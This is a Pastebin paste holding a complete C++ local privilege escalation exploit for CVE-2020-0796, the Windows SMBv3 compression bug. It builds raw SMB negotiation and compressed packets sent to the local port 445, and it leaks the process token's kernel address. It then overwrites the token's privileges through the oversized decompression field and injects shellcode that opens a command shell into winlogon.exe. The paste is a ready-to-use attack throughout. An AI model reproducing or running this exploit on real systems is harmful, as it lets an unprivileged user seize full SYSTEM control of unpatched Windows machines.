W0rMz000

CVE-2020-0796 LPE

Nov 3rd, 2020
2,389
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 10.93 KB | None | 0 0
  1. /*
  2.  * CVE-2020-0796 LPE
  3.  *
  4.  * Daniel Garcia Gutierrez (@danigargu) - danigargu[at]gmail.com
  5.  * Manuel Blanco Parajon (@dialluvioso) - dialluvioso[at]protonmail.com
  6.  * Date: 03/29/2020
  7.  *
  8.  **/
  9.  
  10. #include <stdio.h>
  11. #include <stdint.h>
  12. #include <winsock2.h>
  13. #include <ws2tcpip.h>
  14. #include <windows.h>
  15. #include <TlHelp32.h>
  16. #include "ntos.h"
  17.  
  18. #pragma comment(lib, "ws2_32.lib")
  19.  
  20. ULONG64 get_handle_addr(HANDLE h) {
  21.     ULONG len = 20;
  22.     NTSTATUS status = (NTSTATUS)0xc0000004;
  23.     PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = NULL;
  24.     do {
  25.         len *= 2;
  26.         pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)GlobalAlloc(GMEM_ZEROINIT, len);
  27.         status = NtQuerySystemInformation(SystemExtendedHandleInformation, pHandleInfo, len, &len);
  28.     } while (status == (NTSTATUS)0xc0000004);
  29.  
  30.     if (status != (NTSTATUS)0x0) {
  31.         printf("NtQuerySystemInformation() failed with error: %#x\n", status);
  32.         return 1;
  33.     }
  34.  
  35.     DWORD mypid = GetProcessId(GetCurrentProcess());
  36.     ULONG64 ptrs[1000] = { 0 };
  37.     for (int i = 0; i < pHandleInfo->NumberOfHandles; i++) {
  38.         PVOID object = pHandleInfo->Handles[i].Object;
  39.         ULONG_PTR handle = pHandleInfo->Handles[i].HandleValue;
  40.         DWORD pid = (DWORD)pHandleInfo->Handles[i].UniqueProcessId;
  41.         if (pid != mypid)
  42.             continue;
  43.         if (handle == (ULONG_PTR)h)
  44.             return (ULONG64)object;
  45.     }
  46.     return -1;
  47. }
  48.  
  49. ULONG64 get_process_token() {
  50.     HANDLE token;
  51.     HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
  52.     if (proc == INVALID_HANDLE_VALUE)
  53.         return 0;
  54.  
  55.     OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token);
  56.     ULONG64 ktoken = get_handle_addr(token);
  57.  
  58.     return ktoken;
  59. }
  60.  
  61. int error_exit(SOCKET sock, const char* msg) {
  62.     int err;
  63.     if (msg != NULL) {
  64.         printf("%s failed with error: %d\n", msg, WSAGetLastError());
  65.     }
  66.     if ((err = closesocket(sock)) == SOCKET_ERROR) {
  67.         printf("closesocket() failed with error: %d\n", WSAGetLastError());
  68.     }
  69.     WSACleanup();
  70.     return EXIT_FAILURE;
  71. }
  72.  
  73. int send_negotiation(SOCKET sock) {
  74.     int err = 0;
  75.     char response[8] = { 0 };
  76.  
  77.     const uint8_t buf[] = {
  78.         /* NetBIOS Wrapper */
  79.         0x00,                   /* session */
  80.         0x00, 0x00, 0xC4,       /* length */
  81.  
  82.         /* SMB Header */
  83.         0xFE, 0x53, 0x4D, 0x42, /* protocol id */
  84.         0x40, 0x00,             /* structure size, must be 0x40 */
  85.         0x00, 0x00,             /* credit charge */
  86.         0x00, 0x00,             /* channel sequence */
  87.         0x00, 0x00,             /* channel reserved */
  88.         0x00, 0x00,             /* command */
  89.         0x00, 0x00,             /* credits requested */
  90.         0x00, 0x00, 0x00, 0x00, /* flags */
  91.         0x00, 0x00, 0x00, 0x00, /* chain offset */
  92.         0x00, 0x00, 0x00, 0x00, /* message id */
  93.         0x00, 0x00, 0x00, 0x00,
  94.         0x00, 0x00, 0x00, 0x00, /* reserved */
  95.         0x00, 0x00, 0x00, 0x00, /* tree id */
  96.         0x00, 0x00, 0x00, 0x00, /* session id */
  97.         0x00, 0x00, 0x00, 0x00,
  98.         0x00, 0x00, 0x00, 0x00, /* signature */
  99.         0x00, 0x00, 0x00, 0x00,
  100.         0x00, 0x00, 0x00, 0x00,
  101.         0x00, 0x00, 0x00, 0x00,
  102.  
  103.         /* SMB Negotiation Request */
  104.         0x24, 0x00,             /* structure size */
  105.         0x08, 0x00,             /* dialect count, 8 */
  106.         0x00, 0x00,             /* security mode */
  107.         0x00, 0x00,             /* reserved */
  108.         0x7F, 0x00, 0x00, 0x00, /* capabilities */
  109.         0x01, 0x02, 0xAB, 0xCD, /* guid */
  110.         0x01, 0x02, 0xAB, 0xCD,
  111.         0x01, 0x02, 0xAB, 0xCD,
  112.         0x01, 0x02, 0xAB, 0xCD,
  113.         0x78, 0x00,             /* negotiate context */
  114.         0x00, 0x00,             /* additional padding */
  115.         0x02, 0x00,             /* negotiate context count */
  116.         0x00, 0x00,             /* reserved 2 */
  117.         0x02, 0x02,             /* dialects, SMB 2.0.2 */
  118.         0x10, 0x02,             /* SMB 2.1 */
  119.         0x22, 0x02,             /* SMB 2.2.2 */
  120.         0x24, 0x02,             /* SMB 2.2.3 */
  121.         0x00, 0x03,             /* SMB 3.0 */
  122.         0x02, 0x03,             /* SMB 3.0.2 */
  123.         0x10, 0x03,             /* SMB 3.0.1 */
  124.         0x11, 0x03,             /* SMB 3.1.1 */
  125.         0x00, 0x00, 0x00, 0x00, /* padding */
  126.  
  127.         /* Preauth context */
  128.         0x01, 0x00,             /* type */
  129.         0x26, 0x00,             /* length */
  130.         0x00, 0x00, 0x00, 0x00, /* reserved */
  131.         0x01, 0x00,             /* hash algorithm count */
  132.         0x20, 0x00,             /* salt length */
  133.         0x01, 0x00,             /* hash algorith, SHA512 */
  134.         0x00, 0x00, 0x00, 0x00, /* salt */
  135.         0x00, 0x00, 0x00, 0x00,
  136.         0x00, 0x00, 0x00, 0x00,
  137.         0x00, 0x00, 0x00, 0x00,
  138.         0x00, 0x00, 0x00, 0x00,
  139.         0x00, 0x00, 0x00, 0x00,
  140.         0x00, 0x00, 0x00, 0x00,
  141.         0x00, 0x00, 0x00, 0x00,
  142.         0x00, 0x00,             /* pad */
  143.  
  144.         /* Compression context */
  145.         0x03, 0x00,             /* type */
  146.         0x0E, 0x00,             /* length */
  147.         0x00, 0x00, 0x00, 0x00, /* reserved */
  148.         0x02, 0x00,             /* compression algorithm count */
  149.         0x00, 0x00,             /* padding */
  150.         0x01, 0x00, 0x00, 0x00, /* flags */
  151.         0x02, 0x00,             /* LZ77 */
  152.         0x03, 0x00,             /* LZ77+Huffman */
  153.         0x00, 0x00, 0x00, 0x00, /* padding */
  154.         0x00, 0x00, 0x00, 0x00
  155.     };
  156.    
  157.     if ((err = send(sock, (const char *)buf, sizeof(buf), 0)) != SOCKET_ERROR) {
  158.         recv(sock, response, sizeof(response), 0);
  159.     }
  160.  
  161.     return err;
  162. }
  163.  
  164. int send_compressed(SOCKET sock, unsigned char* buffer, ULONG len) {
  165.     int err = 0;
  166.     char response[8] = { 0 };
  167.  
  168.     const uint8_t buf[] = {
  169.         /* NetBIOS Wrapper */
  170.         0x00,
  171.         0x00, 0x00, 0x33,
  172.  
  173.         /* SMB Header */
  174.         0xFC, 0x53, 0x4D, 0x42, /* protocol id */
  175.         0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */
  176.         0x02, 0x00,             /* compression algorithm, LZ77 */
  177.         0x00, 0x00,             /* flags */
  178.         0x10, 0x00, 0x00, 0x00, /* offset */
  179.     };
  180.  
  181.     uint8_t* packet = (uint8_t*) malloc(sizeof(buf) + 0x10 + len);
  182.     if (packet == NULL) {
  183.         printf("Couldn't allocate memory with malloc()\n");
  184.         return error_exit(sock, NULL);
  185.     }
  186.  
  187.     memcpy(packet, buf, sizeof(buf));
  188.     *(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;
  189.     *(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;
  190.     memcpy(packet + sizeof(buf) + 0x10, buffer, len);
  191.  
  192.     if ((err = send(sock, (const char*)packet, sizeof(buf) + 0x10 + len, 0)) != SOCKET_ERROR) {
  193.         recv(sock, response, sizeof(response), 0);
  194.     }
  195.  
  196.     free(packet);
  197.     return err;
  198. }
  199.  
  200. void inject(void) {
  201.     PROCESSENTRY32 entry;
  202.     entry.dwSize = sizeof(PROCESSENTRY32);
  203.  
  204.     uint8_t shellcode[] = {
  205.          0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x6D, 0x64, 0x00, 0x54,
  206.          0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76,
  207.          0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17,
  208.          0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17,
  209.          0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
  210.          0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99,
  211.          0xff, 0xc2, // inc edx (1 = SW_SHOW)
  212.          0xFF, 0xD7, 0x48, 0x83, 0xC4,
  213.          0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3, 0x00
  214.     };
  215.  
  216.     HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
  217.  
  218.     int pid = -1;
  219.     if (Process32First(snapshot, &entry) == TRUE) {
  220.         while (Process32Next(snapshot, &entry) == TRUE) {
  221.             if (lstrcmpiA(entry.szExeFile, "winlogon.exe") == 0) {
  222.                 pid = entry.th32ProcessID;
  223.                 break;
  224.             }
  225.         }
  226.     }
  227.     CloseHandle(snapshot);
  228.  
  229.     if (pid < 0) {
  230.         printf("Could not find process\n");
  231.         return;
  232.     }
  233.     printf("Injecting shellcode in winlogon...\n");
  234.  
  235.     HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
  236.     if (hProc == NULL) {
  237.         printf("Could not open process\n");
  238.         return;
  239.     }
  240.  
  241.     LPVOID lpMem = VirtualAllocEx(hProc, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  242.     if (lpMem == NULL) {
  243.         printf("Remote allocation failed\n");
  244.         return;
  245.     }      
  246.     if (!WriteProcessMemory(hProc, lpMem, shellcode, sizeof(shellcode), 0)) {
  247.         printf("Remote write failed\n");
  248.         return;
  249.     }  
  250.     if (!CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lpMem, 0, 0, 0)) {
  251.         printf("CreateRemoteThread failed\n");
  252.         return;
  253.     }
  254.  
  255.     printf("Success! ;)\n");
  256. }
  257.  
  258. int main(int argc, char* argv[]) {
  259.     WORD wVersionRequested = MAKEWORD(2, 2);
  260.     WSADATA wsaData = { 0 };
  261.     SOCKET sock = INVALID_SOCKET;
  262.     uint64_t ktoken = 0;
  263.  
  264.     int err = 0;
  265.  
  266.     printf("-= CVE-2020-0796 LPE =-\n");
  267.     printf("by @danigargu and @dialluvioso_\n\n");
  268.  
  269.     if ((err = WSAStartup(wVersionRequested, &wsaData)) != 0) {
  270.         printf("WSAStartup() failed with error: %d\n", err);
  271.         return EXIT_FAILURE;
  272.     }
  273.  
  274.     if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) {
  275.         printf("Couldn't find a usable version of Winsock.dll\n");
  276.         WSACleanup();
  277.         return EXIT_FAILURE;
  278.     }
  279.  
  280.     sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  281.     if (sock == INVALID_SOCKET) {
  282.         printf("socket() failed with error: %d\n", WSAGetLastError());
  283.         WSACleanup();
  284.         return EXIT_FAILURE;
  285.     }
  286.  
  287.     sockaddr_in client;
  288.     client.sin_family = AF_INET;
  289.     client.sin_port = htons(445);
  290.     InetPton(AF_INET, "127.0.0.1", &client.sin_addr);
  291.  
  292.     if (connect(sock, (sockaddr*)& client, sizeof(client)) == SOCKET_ERROR) {
  293.         return error_exit(sock, "connect()");
  294.     }
  295.  
  296.     printf("Successfully connected socket descriptor: %d\n", (int)sock);
  297.     printf("Sending SMB negotiation request...\n");
  298.  
  299.     if (send_negotiation(sock) == SOCKET_ERROR) {
  300.         printf("Couldn't finish SMB negotiation\n");
  301.         return error_exit(sock, "send()");
  302.     }
  303.  
  304.     printf("Finished SMB negotiation\n");
  305.     ULONG buffer_size = 0x1110;
  306.     UCHAR *buffer = (UCHAR *)malloc(buffer_size);
  307.     if (buffer == NULL) {
  308.         printf("Couldn't allocate memory with malloc()\n");
  309.         return error_exit(sock, NULL);
  310.     }
  311.  
  312.     ktoken = get_process_token();
  313.     if (ktoken == -1) {
  314.         printf("Couldn't leak ktoken of current process...\n");
  315.         return EXIT_FAILURE;
  316.     }
  317.  
  318.     printf("Found kernel token at %#llx\n", ktoken);
  319.  
  320.     memset(buffer, 'A', 0x1108);
  321.     *(uint64_t*)(buffer + 0x1108) = ktoken + 0x40; /* where we want to write */
  322.  
  323.     ULONG CompressBufferWorkSpaceSize = 0;
  324.     ULONG CompressFragmentWorkSpaceSize = 0;
  325.     err = RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_XPRESS,
  326.         &CompressBufferWorkSpaceSize, &CompressFragmentWorkSpaceSize);
  327.  
  328.     if (err != STATUS_SUCCESS) {
  329.         printf("RtlGetCompressionWorkSpaceSize() failed with error: %d\n", err);
  330.         return error_exit(sock, NULL);
  331.     }
  332.  
  333.     ULONG FinalCompressedSize;
  334.     UCHAR compressed_buffer[64];
  335.     LPVOID lpWorkSpace = malloc(CompressBufferWorkSpaceSize);
  336.     if (lpWorkSpace == NULL) {
  337.         printf("Couldn't allocate memory with malloc()\n");
  338.         return error_exit(sock, NULL);
  339.     }
  340.  
  341.     err = RtlCompressBuffer(COMPRESSION_FORMAT_XPRESS, buffer, buffer_size,
  342.         compressed_buffer, sizeof(compressed_buffer), 4096, &FinalCompressedSize, lpWorkSpace);
  343.  
  344.     if (err != STATUS_SUCCESS) {
  345.         printf("RtlCompressBuffer() failed with error: %#x\n", err);
  346.         free(lpWorkSpace);
  347.         return error_exit(sock, NULL);
  348.     }
  349.    
  350.     printf("Sending compressed buffer...\n");
  351.  
  352.     if (send_compressed(sock, compressed_buffer, FinalCompressedSize) == SOCKET_ERROR) {
  353.         return error_exit(sock, "send()");
  354.     }
  355.  
  356.     printf("SEP_TOKEN_PRIVILEGES changed\n");
  357.     inject();
  358.  
  359.     WSACleanup();
  360.     return EXIT_SUCCESS;
  361. }
Advertisement
Add Comment
Please, Sign In to add comment